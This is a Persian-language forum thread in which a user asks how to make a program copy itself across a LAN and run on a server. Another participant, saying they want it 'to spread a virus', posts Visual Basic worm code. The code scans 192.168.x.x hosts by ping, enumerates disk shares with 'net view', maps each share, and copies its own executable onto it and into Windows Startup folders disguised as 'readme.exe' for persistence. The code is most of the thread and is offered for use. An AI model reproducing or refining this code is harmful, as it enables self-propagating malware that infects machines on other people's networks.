با سلام و خسته نباشید به دوستان عزیز در ارینویچ
چطور می شود برنامه ای نوشت که بعد از اجرا شدن در پی سی معمولی در شبکه لن خودش را کپی و اجرا کند در سرور
سلام
1) منظورت رو مشخص كن كه چه هدفي داري.
2) شما بايد اصطلاحا Permissionهاي لازم براي كپي فايل رو كامپيوترها و سرور رو داشته باشي.
من هم دنبالشم برای تکثیر ویروس
یچیزی بعد 3 ساعت گشتن پیدا کردم ببینید بدرد میخوره ؟
----------
()Private Sub map_drive
On Error Resume Next
Dim buff
Dim combuff
Dim buffadd
Dim fso, folder
Dim r
Dim s
Dim add
Dim sharename
Dim pingbuff, buff2
Dim count
Dim a As String
Dim hm
hm = 1
a = """"
Set fso = CreateObject("scripting.filesystemobject")
Set oshell = CreateObject("WScript.Shell")
For r = ipbuff To ipbuff2
s = 1
add = "192.168." & r & "." & s
oshell.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
Set fsoo = CreateObject("scripting.filesystemobject")
Set rdd = fsoo.opentextfile("C:\plog.tmp")
pingbuff = ""
For i = 0 To 3
pingbuff = rdd.readline
Next i
buff2 = InStr(pingbuff, "TTL=")
If buff2 <> "0" Or ipbuff = ipbuff2 Then 'connect suc
For s = 1 To 255
add = "192.168." & r & "." & s
Set oshell_1 = CreateObject("WScript.Shell")
oshell_1.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
Set oshell_1 = Nothing
Set fsoo = CreateObject("scripting.filesystemobject")
Set rdd = fsoo.opentextfile("C:\plog.tmp")
pingbuff = ""
For i = 0 To 3
pingbuff = rdd.readline
Next i
buff2 = InStr(pingbuff, "TTL=")
If buff2 <> "0" Then 'connect suc
Set oshell_2 = CreateObject("WScript.Shell")
oshell_2.run "%comspec% /C net view \\" & add & " > C:\clog.tmp", 0, True
Set oshell_2 = Nothing
Set fso = CreateObject("scripting.filesystemobject")
Set rd = fso.opentextfile("C:\clog.tmp")
buff = ""
Do While rd.AtEndOfStream <> True
buff = rd.readline
combuff = Right(Trim(buff), 4)
If Right(combuff, 4) = "Disk" Then
buffadd = Left(buff, 13)
If Len(Trim(buffadd)) > 0 Then
sharename = a & "\\" & add & "\" & Trim(buffadd) & a
vadd = add
vshare = buffadd
Set oshell_3 = CreateObject("WScript.Shell")
oshell_3.run "net use K:" & " " & sharename, vbHide
Set oshell_3 = Nothing
Call getname
test = 0
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\" & appl & ".exe"
test = Err.Number
If test >= 1 Then
'w
Else
Call log
End If
FileCopy App.Path & "\" & App.EXEName & ".exe",
"K:\WINDOWS\Start Menu\Programs\StartUp\readme.exe"
If Err.Number > 0 Then
'w
Else
vshare = "startup98"
Call log
End If
FileCopy App.Path & "\" & App.EXEName & ".exe",
"K:\Documents and Settings\Administrator\Start
Menu\Programs\StartUp\readme.exe"
If Err.Number > 0 Then
'w
Else
vshare = "startupNT"
Call log
End If
dummy = GetAttr("K:")
If dummy = 0 Then
End If
Set dshell = CreateObject("WScript.Shell")
dshell.run "net use K: /delete ", vbHide
Set dshell = Nothing
End If
End If
Loop
End If
Next s
End If
Next r
Set fso = Nothing
Set fsoo = Nothing
Set oshell = Nothing
End Sub
سلام مرسی که اهمیت دادین ولی کاش یه توضیحی چیزی میدادین یا حد اقل الگوریتم این کد رو به صورت اجمالی و خلاصه می گفتین که ما بفهمیم چیکا کردی ....